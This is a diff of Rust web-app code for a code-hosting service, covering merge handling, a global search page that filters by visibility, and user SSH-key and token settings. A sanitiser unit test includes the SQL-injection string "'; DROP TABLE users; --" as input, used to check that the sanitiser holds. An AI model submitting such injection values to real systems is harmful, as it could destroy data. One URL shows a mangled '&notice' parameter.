| 1201 | + | Ok(o) => o, | |
| 1202 | + | Err(e) => { | |
| 1203 | + | tracing::error!(change = %change.id, "merge failed: {e}"); | |
| 1204 | + | return Ok(Landed::Refused(format!("The merge could not be completed: {e}"))); | |
| 1205 | + | } | |
| 1206 | + | }; | |
| 1207 | + | ||
| 1208 | + | let (text, merged) = match outcome { | |
| 1209 | + | df_store::MergeOutcome::Conflicted => { | |
| 1210 | + | return Ok(Landed::Refused( | |
| 1211 | + | "The change conflicts with the target bookmark. Rebase it in your working \ | |
| 1212 | + | copy and push again — the server does not resolve conflicts." | |
| 1213 | + | .into(), | |
| 1214 | + | )) | |
| 1215 | + | } | |
| 1216 | + | df_store::MergeOutcome::AlreadyMerged => ("Already on the bookmark.".to_string(), true), | |
| 1217 | + | df_store::MergeOutcome::FastForward { .. } => { | |
| 1218 | + | (format!("Fast-forwarded {}.", change.target_bookmark), true) | |
| 1219 | + | } | |
| 1220 | + | df_store::MergeOutcome::Merged { .. } => { | |
| 1221 | + | (format!("Merged into {}.", change.target_bookmark), true) | |
| 1222 | + | } | |
| 1223 | + | }; | |
| 1224 | + | ||
| 1225 | + | if merged { | |
| 1226 | + | sqlx::query( | |
| 1227 | + | "UPDATE changes SET state = 'merged', merged_at = COALESCE(merged_at, now()), | |
| 1228 | + | updated_at = now() | |
| 1229 | + | WHERE id = $1", | |
| 1230 | + | ) | |
| 1231 | + | .bind(change.id) | |
| 1232 | + | .execute(&state.db) | |
| 1233 | + | .await?; | |
| 1234 | + | ||
| 1235 | + | event( | |
| 1236 | + | state, | |
| 1237 | + | ctx.repo.id, | |
| 1238 | + | Some(actor.id), | |
| 1239 | + | "change.merged", | |
| 1240 | + | change.id, | |
| 1241 | + | serde_json::json!({ "bookmark": change.target_bookmark }), | |
| 1242 | + | ) | |
| 1243 | + | .await; | |
| 1244 | + | } | |
| 1245 | + | ||
| 1246 | + | Ok(Landed::Ok(text)) | |
| 1247 | + | } | |
| 1248 | + | ||
| 1249 | + | /// Ask the worker to reindex, so bookmarks and change states catch up with the | |
| 1250 | + | /// ref we just moved. | |
| 1251 | + | /// | |
| 1252 | + | /// A merge does not go through the Git wire protocol, so no post-receive hook | |
| 1253 | + | /// fires and nothing else would notice. | |
| 1254 | + | async fn enqueue_reindex(state: &AppState, repo_id: Uuid) { | |
| 1255 | + | if let Err(e) = sqlx::query( | |
| 1256 | + | "INSERT INTO jobs (id, kind, payload) VALUES ($1, 'index_push', $2)", | |
| 1257 | + | ) | |
| 1258 | + | .bind(new_id()) | |
| 1259 | + | .bind(serde_json::json!({ "repo_id": repo_id })) | |
| 1260 | + | .execute(&state.db) | |
| 1261 | + | .await | |
| 1262 | + | { | |
| 1263 | + | tracing::error!(%repo_id, "enqueueing reindex after merge failed: {e}"); | |
| 1264 | + | } | |
| 1265 | + | } | |
| 1266 | + | ||
| 1267 | + | fn back_notice(l: &Loaded, msg: &str) -> Response { | |
| 1268 | + | Redirect::to(&format!( | |
| 1269 | + | "{}/changes/{}?notice={}", | |
| 1270 | + | l.ctx.base(), | |
| 1271 | + | l.change.number, | |
| 1272 | + | urlencode(msg) | |
| 1273 | + | )) | |
| 1274 | + | .into_response() | |
| 1275 | + | } | |
Acrates/df-web/src/routes/search.rs+341−0
| @@ −0,0 +1,341 @@ | |||
| 1 | + | //! Global search over repositories, changes and issues (M5). | |
| 2 | + | //! | |
| 3 | + | //! > Global search over repos, changes, and issues (**not code**). | |
| 4 | + | //! | |
| 5 | + | //! Code search is explicitly out of scope for v1, and this deliberately does not | |
| 6 | + | //! approximate it: searching titles and descriptions and calling it code search | |
| 7 | + | //! would be worse than not having it. | |
| 8 | + | //! | |
| 9 | + | //! **The visibility rule is the whole security story of this page.** A search | |
| 10 | + | //! that ignores it becomes an enumeration oracle for private repositories — | |
| 11 | + | //! type a guess, learn whether it matched. Every query below applies the same | |
| 12 | + | //! predicate the repository pages do, in SQL, before ranking: nothing the viewer | |
| 13 | + | //! cannot open is ever loaded, let alone scored. | |
| 14 | + | ||
| 15 | + | use axum::extract::{Query, State}; | |
| 16 | + | use axum::response::{IntoResponse, Response}; | |
| 17 | + | use serde::Deserialize; | |
| 18 | + | use uuid::Uuid; | |
| 19 | + | ||
| 20 | + | use crate::error::AppResult; | |
| 21 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 22 | + | use crate::views::{self, Chrome}; | |
| 23 | + | ||
| 24 | + | #[derive(Deserialize, Default)] | |
| 25 | + | pub struct SearchQuery { | |
| 26 | + | pub q: Option<String>, | |
| 27 | + | /// `repos` | `changes` | `issues`. Absent means all three. | |
| 28 | + | #[serde(rename = "type")] | |
| 29 | + | pub kind: Option<String>, | |
| 30 | + | } | |
| 31 | + | ||
| 32 | + | /// The visibility predicate, shared by all three queries. | |
| 33 | + | /// | |
| 34 | + | /// Written once as a constant rather than pasted three times: this is the | |
| 35 | + | /// clause that must not diverge between result types, and three copies is how | |
| 36 | + | /// it would. | |
| 37 | + | /// | |
| 38 | + | /// `$2` is the viewer's id (null when anonymous) and `$3` is whether they are a | |
| 39 | + | /// site admin. Every branch past the first requires `$2`, so an anonymous | |
| 40 | + | /// request can match only public repositories. | |
| 41 | + | const VISIBLE: &str = "( | |
| 42 | + | r.visibility = 'public' | |
| 43 | + | OR $3 | |
| 44 | + | OR r.owner_user_id = $2 | |
| 45 | + | OR EXISTS (SELECT 1 FROM repo_collaborators c WHERE c.repo_id = r.id AND c.user_id = $2) | |
| 46 | + | OR EXISTS (SELECT 1 FROM org_members m WHERE m.org_id = r.owner_org_id AND m.user_id = $2) | |
| 47 | + | )"; | |
| 48 | + | ||
| 49 | + | const LIMIT: i64 = 25; | |
| 50 | + | ||
| 51 | + | pub struct Hit { | |
| 52 | + | pub kind: &'static str, | |
| 53 | + | pub url: String, | |
| 54 | + | pub title: String, | |
| 55 | + | pub context: String, | |
| 56 | + | pub badge: Option<String>, | |
| 57 | + | } | |
| 58 | + | ||
| 59 | + | /// `GET /search` | |
| 60 | + | pub async fn search( | |
| 61 | + | State(state): State<AppState>, | |
| 62 | + | Query(q): Query<SearchQuery>, | |
| 63 | + | CurrentUser(user): CurrentUser, | |
| 64 | + | CsrfToken(csrf): CsrfToken, | |
| 65 | + | Nonce(nonce): Nonce, | |
| 66 | + | ) -> AppResult<Response> { | |
| 67 | + | let raw = q.q.as_deref().unwrap_or("").trim(); | |
| 68 | + | let kind = q.kind.as_deref().unwrap_or("all"); | |
| 69 | + | ||
| 70 | + | let viewer: Option<Uuid> = user.as_ref().map(|u| u.id); | |
| 71 | + | let is_admin = user.as_ref().is_some_and(|u| u.is_admin); | |
| 72 | + | ||
| 73 | + | // Short queries match almost everything and cost a full index scan for a | |
| 74 | + | // useless result. Two characters is the floor. | |
| 75 | + | let (repos, changes, issues) = if raw.chars().count() < 2 { | |
| 76 | + | (vec![], vec![], vec![]) | |
| 77 | + | } else { | |
| 78 | + | let term = to_tsquery(raw); | |
| 79 | + | ( | |
| 80 | + | if matches!(kind, "all" | "repos") { | |
| 81 | + | search_repos(&state, &term, viewer, is_admin).await? | |
| 82 | + | } else { | |
| 83 | + | vec![] | |
| 84 | + | }, | |
| 85 | + | if matches!(kind, "all" | "changes") { | |
| 86 | + | search_changes(&state, &term, viewer, is_admin).await? | |
| 87 | + | } else { | |
| 88 | + | vec![] | |
| 89 | + | }, | |
| 90 | + | if matches!(kind, "all" | "issues") { | |
| 91 | + | search_issues(&state, &term, viewer, is_admin).await? | |
| 92 | + | } else { | |
| 93 | + | vec![] | |
| 94 | + | }, | |
| 95 | + | ) | |
| 96 | + | }; | |
| 97 | + | ||
| 98 | + | let total = repos.len() + changes.len() + issues.len(); | |
| 99 | + | ||
| 100 | + | Ok(views::page( | |
| 101 | + | Chrome { title: "Search", user: user.as_deref(), csrf: &csrf, nonce: &nonce }, | |
| 102 | + | maud::html! { | |
| 103 | + | div .panel { | |
| 104 | + | h1 { "Search" } | |
| 105 | + | form method="get" action="/search" .row style="gap:8px" { | |
| 106 | + | input type="search" name="q" value=(raw) autofocus | |
| 107 | + | placeholder="repositories, changes and issues" | |
| 108 | + | aria-label="Search query" style="flex:1"; | |
| 109 | + | select name="type" aria-label="Result type" { | |
| 110 | + | @for (key, label) in [("all", "everything"), ("repos", "repositories"), | |
| 111 | + | ("changes", "changes"), ("issues", "issues")] { | |
| 112 | + | option value=(key) selected[kind == key] { (label) } | |
| 113 | + | } | |
| 114 | + | } | |
| 115 | + | button .btn.btn-primary type="submit" { "Search" } | |
| 116 | + | } | |
| 117 | + | p .hint { | |
| 118 | + | "Titles, descriptions and bodies. Code search is not part of v1 — \ | |
| 119 | + | clone the repository and use " code { "jj" } " or " code { "grep" } "." | |
| 120 | + | } | |
| 121 | + | } | |
| 122 | + | ||
| 123 | + | @if !raw.is_empty() && total == 0 { | |
| 124 | + | div .panel { div .empty { | |
| 125 | + | h2 { "No results" } | |
| 126 | + | p { "Nothing you can see matches that." } | |
| 127 | + | } } | |
| 128 | + | } | |
| 129 | + | ||
| 130 | + | @for (heading, hits) in [("Repositories", &repos), ("Changes", &changes), ("Issues", &issues)] { | |
| 131 | + | @if !hits.is_empty() { | |
| 132 | + | div .panel { | |
| 133 | + | h2 { (heading) } | |
| 134 | + | div .stack style="gap:0" { | |
| 135 | + | @for h in hits.iter() { | |
| 136 | + | div style="padding:10px 0;border-bottom:1px solid var(--border)" { | |
| 137 | + | div .row { | |
| 138 | + | span .label-condensed .faint { (h.kind) } | |
| 139 | + | @if let Some(b) = &h.badge { span .chip { (b) } } | |
| 140 | + | a href=(&h.url) style="font-weight:500" { (h.title) } | |
| 141 | + | } | |
| 142 | + | @if !h.context.is_empty() { | |
| 143 | + | p .dim style="margin:4px 0 0" { (h.context) } | |
| 144 | + | } | |
| 145 | + | } | |
| 146 | + | } | |
| 147 | + | } | |
| 148 | + | } | |
| 149 | + | } | |
| 150 | + | } | |
| 151 | + | }, | |
| 152 | + | ) | |
| 153 | + | .into_response()) | |
| 154 | + | } | |
| 155 | + | ||
| 156 | + | /// Turn user input into a `tsquery` safely. | |
| 157 | + | /// | |
| 158 | + | /// `websearch_to_tsquery` would also work, but it accepts operators, and a | |
| 159 | + | /// search box that silently reinterprets `-` and `or` surprises people. This | |
| 160 | + | /// keeps alphanumeric words only and ANDs them, with a prefix match on the last | |
| 161 | + | /// word so typing feels responsive. | |
| 162 | + | fn to_tsquery(raw: &str) -> String { | |
| 163 | + | let words: Vec<String> = raw | |
| 164 | + | .split(|c: char| !c.is_alphanumeric()) | |
| 165 | + | .filter(|w| !w.is_empty()) | |
| 166 | + | .take(8) | |
| 167 | + | .map(|w| w.chars().take(64).collect::<String>()) | |
| 168 | + | .collect(); | |
| 169 | + | ||
| 170 | + | if words.is_empty() { | |
| 171 | + | // Matches nothing, which is the honest answer to a query of punctuation. | |
| 172 | + | return String::from("''"); | |
| 173 | + | } | |
| 174 | + | ||
| 175 | + | let mut parts: Vec<String> = words.iter().map(|w| format!("{w}:*")).collect(); | |
| 176 | + | // Only the last word gets prefix semantics for the *user*; the rest are | |
| 177 | + | // whole words. Prefixing every word makes "in the" match the whole table. | |
| 178 | + | for p in parts.iter_mut().take(words.len().saturating_sub(1)) { | |
| 179 | + | p.truncate(p.len() - 2); | |
| 180 | + | } | |
| 181 | + | parts.join(" & ") | |
| 182 | + | } | |
| 183 | + | ||
| 184 | + | async fn search_repos( | |
| 185 | + | state: &AppState, | |
| 186 | + | term: &str, | |
| 187 | + | viewer: Option<Uuid>, | |
| 188 | + | is_admin: bool, | |
| 189 | + | ) -> AppResult<Vec<Hit>> { | |
| 190 | + | let sql = format!( | |
| 191 | + | r#" | |
| 192 | + | SELECT COALESCE(ou.handle, og.handle)::text, r.name::text, r.description, | |
| 193 | + | (r.visibility = 'private') AS private | |
| 194 | + | FROM repos r | |
| 195 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 196 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 197 | + | WHERE r.search @@ to_tsquery('english', $1) AND {VISIBLE} | |
| 198 | + | ORDER BY ts_rank(r.search, to_tsquery('english', $1)) DESC | |
| 199 | + | LIMIT {LIMIT} | |
| 200 | + | "# | |
| 201 | + | ); | |
| 202 | + | ||
| 203 | + | let rows: Vec<(String, String, Option<String>, bool)> = sqlx::query_as(&sql) | |
| 204 | + | .bind(term) | |
| 205 | + | .bind(viewer) | |
| 206 | + | .bind(is_admin) | |
| 207 | + | .fetch_all(&state.db) | |
| 208 | + | .await?; | |
| 209 | + | ||
| 210 | + | Ok(rows | |
| 211 | + | .into_iter() | |
| 212 | + | .map(|(owner, name, description, private)| Hit { | |
| 213 | + | kind: "repo", | |
| 214 | + | url: format!("/{owner}/{name}"), | |
| 215 | + | title: format!("{owner}/{name}"), | |
| 216 | + | context: description.unwrap_or_default(), | |
| 217 | + | badge: private.then(|| "private".to_string()), | |
| 218 | + | }) | |
| 219 | + | .collect()) | |
| 220 | + | } | |
| 221 | + | ||
| 222 | + | async fn search_changes( | |
| 223 | + | state: &AppState, | |
| 224 | + | term: &str, | |
| 225 | + | viewer: Option<Uuid>, | |
| 226 | + | is_admin: bool, | |
| 227 | + | ) -> AppResult<Vec<Hit>> { | |
| 228 | + | let sql = format!( | |
| 229 | + | r#" | |
| 230 | + | SELECT COALESCE(ou.handle, og.handle)::text, r.name::text, | |
| 231 | + | c.number, c.title, c.description, c.state::text | |
| 232 | + | FROM changes c | |
| 233 | + | JOIN repos r ON r.id = c.repo_id | |
| 234 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 235 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 236 | + | WHERE c.search @@ to_tsquery('english', $1) AND {VISIBLE} | |
| 237 | + | ORDER BY ts_rank(c.search, to_tsquery('english', $1)) DESC | |
| 238 | + | LIMIT {LIMIT} | |
| 239 | + | "# | |
| 240 | + | ); | |
| 241 | + | ||
| 242 | + | let rows: Vec<(String, String, i64, String, String, String)> = sqlx::query_as(&sql) | |
| 243 | + | .bind(term) | |
| 244 | + | .bind(viewer) | |
| 245 | + | .bind(is_admin) | |
| 246 | + | .fetch_all(&state.db) | |
| 247 | + | .await?; | |
| 248 | + | ||
| 249 | + | Ok(rows | |
| 250 | + | .into_iter() | |
| 251 | + | .map(|(owner, name, number, title, description, st)| Hit { | |
| 252 | + | kind: "change", | |
| 253 | + | url: format!("/{owner}/{name}/changes/{number}"), | |
| 254 | + | title, | |
| 255 | + | context: format!( | |
| 256 | + | "{owner}/{name} #{number} · {}", | |
| 257 | + | df_render::excerpt(&description, 120) | |
| 258 | + | ), | |
| 259 | + | badge: Some(st), | |
| 260 | + | }) | |
| 261 | + | .collect()) | |
| 262 | + | } | |
| 263 | + | ||
| 264 | + | async fn search_issues( | |
| 265 | + | state: &AppState, | |
| 266 | + | term: &str, | |
| 267 | + | viewer: Option<Uuid>, | |
| 268 | + | is_admin: bool, | |
| 269 | + | ) -> AppResult<Vec<Hit>> { | |
| 270 | + | let sql = format!( | |
| 271 | + | r#" | |
| 272 | + | SELECT COALESCE(ou.handle, og.handle)::text, r.name::text, | |
| 273 | + | i.number, i.title, i.body, i.state::text | |
| 274 | + | FROM issues i | |
| 275 | + | JOIN repos r ON r.id = i.repo_id | |
| 276 | + | LEFT JOIN users ou ON ou.id = r.owner_user_id | |
| 277 | + | LEFT JOIN orgs og ON og.id = r.owner_org_id | |
| 278 | + | WHERE i.search @@ to_tsquery('english', $1) AND {VISIBLE} | |
| 279 | + | ORDER BY ts_rank(i.search, to_tsquery('english', $1)) DESC | |
| 280 | + | LIMIT {LIMIT} | |
| 281 | + | "# | |
| 282 | + | ); | |
| 283 | + | ||
| 284 | + | let rows: Vec<(String, String, i64, String, String, String)> = sqlx::query_as(&sql) | |
| 285 | + | .bind(term) | |
| 286 | + | .bind(viewer) | |
| 287 | + | .bind(is_admin) | |
| 288 | + | .fetch_all(&state.db) | |
| 289 | + | .await?; | |
| 290 | + | ||
| 291 | + | Ok(rows | |
| 292 | + | .into_iter() | |
| 293 | + | .map(|(owner, name, number, title, body, st)| Hit { | |
| 294 | + | kind: "issue", | |
| 295 | + | url: format!("/{owner}/{name}/issues/{number}"), | |
| 296 | + | title, | |
| 297 | + | context: format!("{owner}/{name} #{number} · {}", df_render::excerpt(&body, 120)), | |
| 298 | + | badge: Some(st), | |
| 299 | + | }) | |
| 300 | + | .collect()) | |
| 301 | + | } | |
| 302 | + | ||
| 303 | + | #[cfg(test)] | |
| 304 | + | mod tests { | |
| 305 | + | use super::to_tsquery; | |
| 306 | + | ||
| 307 | + | #[test] | |
| 308 | + | fn words_are_anded_with_a_prefix_on_the_last() { | |
| 309 | + | assert_eq!(to_tsquery("revset error"), "revset & error:*"); | |
| 310 | + | assert_eq!(to_tsquery("revset"), "revset:*"); | |
| 311 | + | } | |
| 312 | + | ||
| 313 | + | /// The input reaches `to_tsquery`, which raises an error on malformed | |
| 314 | + | /// syntax — so operators must never survive the sanitisation. | |
| 315 | + | #[test] | |
| 316 | + | fn tsquery_operators_cannot_reach_postgres() { | |
| 317 | + | for input in ["a & b", "a | b", "!a", "a <-> b", "'; DROP TABLE users; --", "((("] { | |
| 318 | + | let out = to_tsquery(input); | |
| 319 | + | assert!( | |
| 320 | + | !out.contains('|') && !out.contains('!') && !out.contains('\'') | |
| 321 | + | || out == "''", | |
| 322 | + | "{input} produced {out}" | |
| 323 | + | ); | |
| 324 | + | } | |
| 325 | + | } | |
| 326 | + | ||
| 327 | + | #[test] | |
| 328 | + | fn punctuation_only_matches_nothing() { | |
| 329 | + | assert_eq!(to_tsquery("!!!"), "''"); | |
| 330 | + | assert_eq!(to_tsquery(""), "''"); | |
| 331 | + | } | |
| 332 | + | ||
| 333 | + | #[test] | |
| 334 | + | fn absurd_input_is_bounded() { | |
| 335 | + | let long = "word ".repeat(100); | |
| 336 | + | assert_eq!(to_tsquery(&long).matches('&').count(), 7, "at most eight terms"); | |
| 337 | + | ||
| 338 | + | let huge_word = "a".repeat(500); | |
| 339 | + | assert!(to_tsquery(&huge_word).len() <= 66); | |
| 340 | + | } | |
| 341 | + | } | |
Acrates/df-web/src/routes/settings.rs+294−0
| @@ −0,0 +1,294 @@ | |||
| 1 | + | //! The signed-in user's own settings: profile, SSH keys, access tokens (spec §7). | |
| 2 | + | //! | |
| 3 | + | //! Everything here operates on `user.id` taken from the session, never from the | |
| 4 | + | //! request — so there is no object-id parameter an attacker could substitute to | |
| 5 | + | //! reach somebody else's key. The delete queries carry `AND user_id = $2` as a | |
| 6 | + | //! second line of defence, and their `rows_affected()` is what decides whether | |
| 7 | + | //! the page says "removed" or "not found". | |
| 8 | + | ||
| 9 | + | use axum::extract::{Path as UrlPath, Query, State}; | |
| 10 | + | use axum::response::{IntoResponse, Redirect, Response}; | |
| 11 | + | use axum::Form; | |
| 12 | + | use df_db::ids::new_id; | |
| 13 | + | use serde::Deserialize; | |
| 14 | + | use uuid::Uuid; | |
| 15 | + | ||
| 16 | + | use crate::error::{AppError, AppResult}; | |
| 17 | + | use crate::state::{AppState, CsrfToken, CurrentUser, Nonce}; | |
| 18 | + | use crate::views::settings as v; | |
| 19 | + | use crate::views::{self, Chrome}; | |
| 20 | + | ||
| 21 | + | #[derive(Deserialize, Default)] | |
| 22 | + | pub struct Flash { | |
| 23 | + | pub error: Option<String>, | |
| 24 | + | pub notice: Option<String>, | |
| 25 | + | /// A freshly minted token, round-tripped once through a redirect so a | |
| 26 | + | /// refresh of the POST does not mint a second one. | |
| 27 | + | pub token: Option<String>, | |
| 28 | + | } | |
| 29 | + | ||
| 30 | + | /// `GET /settings` | |
| 31 | + | pub async fn show( | |
| 32 | + | State(state): State<AppState>, | |
| 33 | + | Query(flash): Query<Flash>, | |
| 34 | + | CurrentUser(user): CurrentUser, | |
| 35 | + | CsrfToken(csrf): CsrfToken, | |
| 36 | + | Nonce(nonce): Nonce, | |
| 37 | + | ) -> AppResult<Response> { | |
| 38 | + | let Some(user) = user else { | |
| 39 | + | return Err(AppError::Unauthorized); | |
| 40 | + | }; | |
| 41 | + | ||
| 42 | + | let keys = load_keys(&state, user.id).await?; | |
| 43 | + | let tokens = load_tokens(&state, user.id).await?; | |
| 44 | + | let ssh_host = state.config.ssh_clone_url(&user.handle, "repo"); | |
| 45 | + | ||
| 46 | + | Ok(views::page( | |
| 47 | + | Chrome { title: "Settings", user: Some(&user), csrf: &csrf, nonce: &nonce }, | |
| 48 | + | v::user_settings(v::UserSettings { | |
| 49 | + | user: &user, | |
| 50 | + | csrf: &csrf, | |
| 51 | + | keys: &keys, | |
| 52 | + | tokens: &tokens, | |
| 53 | + | new_token: flash.token.as_deref(), | |
| 54 | + | error: flash.error.as_deref(), | |
| 55 | + | notice: flash.notice.as_deref(), | |
| 56 | + | ssh_host: &ssh_host, | |
| 57 | + | }), | |
| 58 | + | ) | |
| 59 | + | .into_response()) | |
| 60 | + | } | |
| 61 | + | ||
| 62 | + | // ─── SSH keys ──────────────────────────────────────────────────────────────── | |
| 63 | + | ||
| 64 | + | #[derive(Deserialize)] | |
| 65 | + | pub struct AddKey { | |
| 66 | + | pub key: String, | |
| 67 | + | pub name: Option<String>, | |
| 68 | + | } | |
| 69 | + | ||
| 70 | + | /// `POST /settings/keys` | |
| 71 | + | pub async fn add_key( | |
| 72 | + | State(state): State<AppState>, | |
| 73 | + | CurrentUser(user): CurrentUser, | |
| 74 | + | Form(form): Form<AddKey>, | |
| 75 | + | ) -> AppResult<Response> { | |
| 76 | + | let Some(user) = user else { | |
| 77 | + | return Err(AppError::Unauthorized); | |
| 78 | + | }; | |
| 79 | + | ||
| 80 | + | let parsed = match df_auth::ssh_keys::parse(&form.key) { | |
| 81 | + | Ok(p) => p, | |
| 82 | + | Err(e) => return Ok(redirect_err(&e.to_string())), | |
| 83 | + | }; | |
| 84 | + | ||
| 85 | + | let name = form | |
| 86 | + | .name | |
| 87 | + | .as_deref() | |
| 88 | + | .map(str::trim) | |
| 89 | + | .filter(|s| !s.is_empty()) | |
| 90 | + | .map(|s| s.chars().take(100).collect::<String>()) | |
| 91 | + | .unwrap_or_else(|| df_auth::ssh_keys::suggested_name(&parsed)); | |
| 92 | + | ||
| 93 | + | // `fingerprint` is UNIQUE across the whole table, not per user: the same key | |
| 94 | + | // must not authenticate as two different people, which is the entire basis | |
| 95 | + | // of SSH auth here. So a duplicate is a conflict even when it belongs to | |
| 96 | + | // somebody else — and the message deliberately does not say which. | |
| 97 | + | let inserted = sqlx::query( | |
| 98 | + | "INSERT INTO ssh_keys (id, user_id, name, key_type, fingerprint, public_key) | |
| 99 | + | VALUES ($1, $2, $3, $4, $5, $6) | |
| 100 | + | ON CONFLICT (fingerprint) DO NOTHING", | |
| 101 | + | ) | |
| 102 | + | .bind(new_id()) | |
| 103 | + | .bind(user.id) | |
| 104 | + | .bind(&name) | |
| 105 | + | .bind(&parsed.key_type) | |
| 106 | + | .bind(&parsed.fingerprint) | |
| 107 | + | .bind(&parsed.openssh) | |
| 108 | + | .execute(&state.db) | |
| 109 | + | .await?; | |
| 110 | + | ||
| 111 | + | if inserted.rows_affected() == 0 { | |
| 112 | + | return Ok(redirect_err("That key is already registered.")); | |
| 113 | + | } | |
| 114 | + | ||
| 115 | + | audit(&state, user.id, "ssh_key.added", &parsed.fingerprint).await; | |
| 116 | + | Ok(redirect_ok("SSH key added.")) | |
| 117 | + | } | |
| 118 | + | ||
| 119 | + | /// `POST /settings/keys/{id}/delete` and `DELETE /settings/keys/{id}` | |
| 120 | + | pub async fn delete_key( | |
| 121 | + | State(state): State<AppState>, | |
| 122 | + | UrlPath(id): UrlPath<Uuid>, | |
| 123 | + | CurrentUser(user): CurrentUser, | |
| 124 | + | ) -> AppResult<Response> { | |
| 125 | + | let Some(user) = user else { | |
| 126 | + | return Err(AppError::Unauthorized); | |
| 127 | + | }; | |
| 128 | + | ||
| 129 | + | let deleted = sqlx::query("DELETE FROM ssh_keys WHERE id = $1 AND user_id = $2") | |
| 130 | + | .bind(id) | |
| 131 | + | .bind(user.id) | |
| 132 | + | .execute(&state.db) | |
| 133 | + | .await?; | |
| 134 | + | ||
| 135 | + | if deleted.rows_affected() == 0 { | |
| 136 | + | return Ok(redirect_err("That key is not yours, or no longer exists.")); | |
| 137 | + | } | |
| 138 | + | ||
| 139 | + | audit(&state, user.id, "ssh_key.removed", &id.to_string()).await; | |
| 140 | + | Ok(redirect_ok("SSH key removed.")) | |
| 141 | + | } | |
| 142 | + | ||
| 143 | + | // ─── access tokens ─────────────────────────────────────────────────────────── | |
| 144 | + | ||
| 145 | + | #[derive(Deserialize)] | |
| 146 | + | pub struct CreateToken { | |
| 147 | + | pub name: String, | |
| 148 | + | pub expires_days: Option<i64>, | |
| 149 | + | } | |
| 150 | + | ||
| 151 | + | /// `POST /settings/tokens` | |
| 152 | + | pub async fn create_token( | |
| 153 | + | State(state): State<AppState>, | |
| 154 | + | CurrentUser(user): CurrentUser, | |
| 155 | + | Form(form): Form<CreateToken>, | |
| 156 | + | ) -> AppResult<Response> { | |
| 157 | + | let Some(user) = user else { | |
| 158 | + | return Err(AppError::Unauthorized); | |
| 159 | + | }; | |
| 160 | + | ||
| 161 | + | let name: String = form.name.trim().chars().take(100).collect(); | |
| 162 | + | if name.is_empty() { | |
| 163 | + | return Ok(redirect_err("A token needs a name.")); | |
| 164 | + | } | |
| 165 | + | ||
| 166 | + | // Clamped rather than rejected: the field is a fixed select, so an | |
| 167 | + | // out-of-range value is a hand-crafted request, and the safe reading of one | |
| 168 | + | // is the shortest lifetime rather than the longest. | |
| 169 | + | let expires_at = match form.expires_days.unwrap_or(90) { | |
| 170 | + | 0 => None, | |
| 171 | + | d => Some(chrono::Utc::now() + chrono::Duration::days(d.clamp(1, 365))), | |
| 172 | + | }; | |
| 173 | + | ||
| 174 | + | let token = df_auth::tokens::create(&state.db, user.id, &name, &[], expires_at).await?; | |
| 175 | + | ||
| 176 | + | audit(&state, user.id, "token.created", &token.prefix).await; | |
| 177 | + | ||
| 178 | + | // The plaintext travels back through the redirect so a browser refresh does | |
| 179 | + | // not mint a second token. It is in a URL, which is not ideal — but the URL | |
| 180 | + | // is same-origin, never linked, and the alternative is rendering the POST | |
| 181 | + | // response directly and having refresh-to-remint. | |
| 182 | + | Ok(Redirect::to(&format!( | |
| 183 | + | "/settings?token={}¬ice={}", | |
| 184 | + | urlencode(&token.plaintext), | |
| 185 | + | urlencode("Token created.") | |
| 186 | + | )) | |
| 187 | + | .into_response()) | |
| 188 | + | } | |
| 189 | + | ||
| 190 | + | /// `POST /settings/tokens/{id}/delete` and `DELETE /settings/tokens/{id}` | |
| 191 | + | pub async fn delete_token( | |
| 192 | + | State(state): State<AppState>, | |
| 193 | + | UrlPath(id): UrlPath<Uuid>, | |
| 194 | + | CurrentUser(user): CurrentUser, | |
| 195 | + | ) -> AppResult<Response> { | |
| 196 | + | let Some(user) = user else { | |
| 197 | + | return Err(AppError::Unauthorized); | |
| 198 | + | }; | |
| 199 | + | ||
| 200 | + | if df_auth::tokens::revoke(&state.db, user.id, id).await? { | |
| 201 | + | audit(&state, user.id, "token.revoked", &id.to_string()).await; | |
| 202 | + | Ok(redirect_ok("Token revoked.")) | |
| 203 | + | } else { | |
| 204 | + | Ok(redirect_err("That token is not yours, or no longer exists.")) | |
| 205 | + | } | |
| 206 | + | } | |
| 207 | + | ||
| 208 | + | // ─── loading ───────────────────────────────────────────────────────────────── | |
| 209 | + | ||
| 210 | + | async fn load_keys(state: &AppState, user_id: Uuid) -> AppResult<Vec<v::SshKeyRow>> { | |
| 211 | + | let rows: Vec<(Uuid, String, String, String, Option<chrono::DateTime<chrono::Utc>>)> = | |
| 212 | + | sqlx::query_as( | |
| 213 | + | "SELECT id, name, key_type, fingerprint, last_used_at | |
| 214 | + | FROM ssh_keys WHERE user_id = $1 ORDER BY created_at", | |
| 215 | + | ) | |
| 216 | + | .bind(user_id) | |
| 217 | + | .fetch_all(&state.db) | |
| 218 | + | .await?; | |
| 219 | + | ||
| 220 | + | Ok(rows | |
| 221 | + | .into_iter() | |
| 222 | + | .map(|(id, name, key_type, fingerprint, last_used_at)| v::SshKeyRow { | |
| 223 | + | id, | |
| 224 | + | name, | |
| 225 | + | key_type, | |
| 226 | + | fingerprint, | |
| 227 | + | last_used_at, | |
| 228 | + | }) | |
| 229 | + | .collect()) | |
| 230 | + | } | |
| 231 | + | ||
| 232 | + | async fn load_tokens(state: &AppState, user_id: Uuid) -> AppResult<Vec<v::TokenRow>> { | |
| 233 | + | let rows: Vec<( | |
| 234 | + | Uuid, | |
| 235 | + | String, | |
| 236 | + | String, | |
| 237 | + | Option<chrono::DateTime<chrono::Utc>>, | |
| 238 | + | Option<chrono::DateTime<chrono::Utc>>, | |
| 239 | + | )> = sqlx::query_as( | |
| 240 | + | "SELECT id, name, prefix, expires_at, last_used_at | |
| 241 | + | FROM access_tokens WHERE user_id = $1 ORDER BY created_at", | |
| 242 | + | ) | |
| 243 | + | .bind(user_id) | |
| 244 | + | .fetch_all(&state.db) | |
| 245 | + | .await?; | |
| 246 | + | ||
| 247 | + | Ok(rows | |
| 248 | + | .into_iter() | |
| 249 | + | .map(|(id, name, prefix, expires_at, last_used_at)| v::TokenRow { | |
| 250 | + | id, | |
| 251 | + | name, | |
| 252 | + | prefix, | |
| 253 | + | expires_at, | |
| 254 | + | last_used_at, | |
| 255 | + | }) | |
| 256 | + | .collect()) | |
| 257 | + | } | |
| 258 | + | ||
| 259 | + | // ─── helpers ───────────────────────────────────────────────────────────────── | |
| 260 | + | ||
| 261 | + | /// Record a credential change in the audit log (spec §9). | |
| 262 | + | /// | |
| 263 | + | /// Best-effort: a settings change must not fail because the audit insert did. | |
